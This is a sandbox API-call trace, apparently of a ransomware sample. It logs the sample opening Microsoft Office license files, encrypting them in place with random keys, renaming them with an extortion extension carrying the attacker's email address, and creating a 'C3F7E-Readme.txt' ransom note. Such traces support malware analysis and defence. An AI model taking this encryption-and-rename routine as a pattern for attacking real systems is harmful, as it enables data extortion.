	[0085.682] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0085.682] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.682] NtQuerySystemTime (in: CurrentTime=0x2883f7e8 | out: CurrentTime=0x2883f7e8*=132251868124226541) returned 0x0
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x56876ef5
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x60dd7d25
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xb6b1c16e
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x51a95ad3
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x18014a0
	[0085.682] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xe56747d0
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x41b74ff9
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x7097ea30
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x8b5f49cc
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x3db480bf
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x376d44f0
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x38fb36c4
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x94b33393
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xc038d7f3
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x50eb76bb
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x40915a8a
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xd3bb269a
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xe4f42044
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x5522996b
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xc5ac9928
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x8a13c997
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xeff8cb75
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x3f6b781f
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xfc05d12c
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x909cfbbb
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x8e14af12
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xca2e6899
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xeef96ef0
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x1abbb548
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xe1cd63ea
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0xf77804fa
	[0085.683] RtlRandom (in: Seed=0x2883f7f4 | out: Seed=0x2883f7f4) returned 0x13d81f6a
	[0085.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a30
	[0085.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0085.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0085.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0085.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb270
	[0085.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0085.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0085.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0085.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0085.693] ReadFile (in: hFile=0x186c, lpBuffer=0x46f5870, nNumberOfBytesToRead=0x298f, lpNumberOfBytesRead=0x2883f7e4, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0x2883f7e4*=0x298f, lpOverlapped=0x0) returned 1
	[0085.694] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.694] WriteFile (in: hFile=0x186c, lpBuffer=0x4702078*, nNumberOfBytesToWrite=0x298f, lpNumberOfBytesWritten=0x2883f7e0, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesWritten=0x2883f7e0*=0x298f, lpOverlapped=0x0) returned 1
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x47760b0
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x4776100
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.697] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x125) returned 0x2d62e78
	[0085.697] SetFilePointerEx (in: hFile=0x186c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.697] WriteFile (in: hFile=0x186c, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x2883f848, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2883f848*=0x125, lpOverlapped=0x0) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776100) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47760b0) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a08) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0085.709] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47818c8) returned 1
	[0085.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4768628
	[0085.709] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms"
	[0085.709] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.709] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2883f800, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.709] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0085.709] NtSetInformationFile (FileHandle=0x186c, IoStatusBlock=0x2883f7f8, FileInformation=0x477a460, Length=0xf6, FileInformationClass=0xa) returned 0x0
	[0085.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0085.710] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.710] NtQueryInformationFile (in: FileHandle=0x186c, IoStatusBlock=0x2883f80c, FileInformation=0x2883f7e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2883f80c, FileInformation=0x2883f7e4) returned 0x0
	[0085.710] NtSetInformationFile (FileHandle=0x186c, IoStatusBlock=0x2883f80c, FileInformation=0x2883f7e4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.711] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.711] FlushFileBuffers (hFile=0x186c) returned 1
	[0093.072] CloseHandle (hObject=0x186c) returned 1
	[0093.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e818
	[0093.074] wcscpy (in: _Dest=0x476e818, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.074] wcscat (in: _Dest=0x476e818, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) returned 0xffffffff
	[0093.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 1156
	os_tid = 0x1e84

	[0085.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0085.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1870
	[0085.696] GetFileSizeEx (in: hFile=0x1870, lpFileSize=0x288bfce8 | out: lpFileSize=0x288bfce8*=20780) returned 1
	[0085.696] SetFilePointerEx (in: hFile=0x1870, liDistanceToMove=0x5128, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.696] ReadFile (in: hFile=0x1870, lpBuffer=0x288bfc6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x288bfc68, lpOverlapped=0x0 | out: lpBuffer=0x288bfc6c*, lpNumberOfBytesRead=0x288bfc68*=0x4, lpOverlapped=0x0) returned 1
	[0085.698] SetFilePointerEx (in: hFile=0x1870, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0085.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781aa8
	[0085.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.698] NtQuerySystemTime (in: CurrentTime=0x288bfc48 | out: CurrentTime=0x288bfc48*=132251868124369925) returned 0x0
	[0085.698] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xa6081d35
	[0085.698] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x19004ce7
	[0085.698] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xa6cff2b4
	[0085.698] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xce62ba8a
	[0085.698] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x23fbd07e
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x14c36592
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x21d9bab0
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xf741ba9e
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x5259b7ea
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xbcda8e8
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xe5f104b7
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x7233a67a
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x343b176
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x28324897
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x8fc75095
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x7eec1979
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x7e6988a0
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x1f7d5f16
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x5201cab3
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x70b67355
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x427b808c
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xee55f4f7
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xa7ac42f3
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x79ec5342
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x3f2cf9eb
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xd9eb1468
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x8bba631b
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x948793a1
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x9149af23
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0x3c14fc6b
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xc8ea8707
	[0085.699] RtlRandom (in: Seed=0x288bfc54 | out: Seed=0x288bfc54) returned 0xefb20e96
	[0085.706] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0085.707] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0085.707] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0085.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0085.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb270
	[0085.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0085.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0085.708] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0085.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0085.708] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4702078
	[0085.708] ReadFile (in: hFile=0x1870, lpBuffer=0x46f5870, nNumberOfBytesToRead=0x512c, lpNumberOfBytesRead=0x288bfc44, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0x288bfc44*=0x512c, lpOverlapped=0x0) returned 1
	[0085.712] SetFilePointerEx (in: hFile=0x1870, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.712] WriteFile (in: hFile=0x1870, lpBuffer=0x4702078*, nNumberOfBytesToWrite=0x512c, lpNumberOfBytesWritten=0x288bfc40, lpOverlapped=0x0 | out: lpBuffer=0x4702078*, lpNumberOfBytesWritten=0x288bfc40*=0x512c, lpOverlapped=0x0) returned 1
	[0087.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0087.186] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.186] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4702078) returned 1
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb270) returned 1
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4776010
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4775e30
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819b8
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0087.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2e02570
	[0087.187] SetFilePointerEx (in: hFile=0x1870, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.187] WriteFile (in: hFile=0x1870, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x288bfca8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x288bfca8*=0x127, lpOverlapped=0x0) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775e30) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781aa8) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0087.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0087.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec428
	[0087.203] wcscpy (in: _Dest=0x47ec428, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms"
	[0087.203] wcscat (in: _Dest=0x47ec428, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0087.203] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x288bfc60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0087.203] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0087.203] NtSetInformationFile (FileHandle=0x1870, IoStatusBlock=0x288bfc58, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0087.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0087.204] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89948) returned 1
	[0087.204] NtQueryInformationFile (in: FileHandle=0x1870, IoStatusBlock=0x288bfc6c, FileInformation=0x288bfc44, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x288bfc6c, FileInformation=0x288bfc44) returned 0x0
	[0087.204] NtSetInformationFile (FileHandle=0x1870, IoStatusBlock=0x288bfc6c, FileInformation=0x288bfc44, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.205] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec428) returned 1
	[0087.205] FlushFileBuffers (hFile=0x1870) returned 1
	[0093.111] CloseHandle (hObject=0x1870) 

Thread:
	id = 1157
	os_tid = 0x1e88

	[0085.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0085.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1874
	[0085.714] GetFileSizeEx (in: hFile=0x1874, lpFileSize=0x2893fdf0 | out: lpFileSize=0x2893fdf0*=11587) returned 1
	[0085.714] SetFilePointerEx (in: hFile=0x1874, liDistanceToMove=0x2d3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.714] ReadFile (in: hFile=0x1874, lpBuffer=0x2893fd74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2893fd70, lpOverlapped=0x0 | out: lpBuffer=0x2893fd74*, lpNumberOfBytesRead=0x2893fd70*=0x4, lpOverlapped=0x0) returned 1
	[0085.715] SetFilePointerEx (in: hFile=0x1874, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
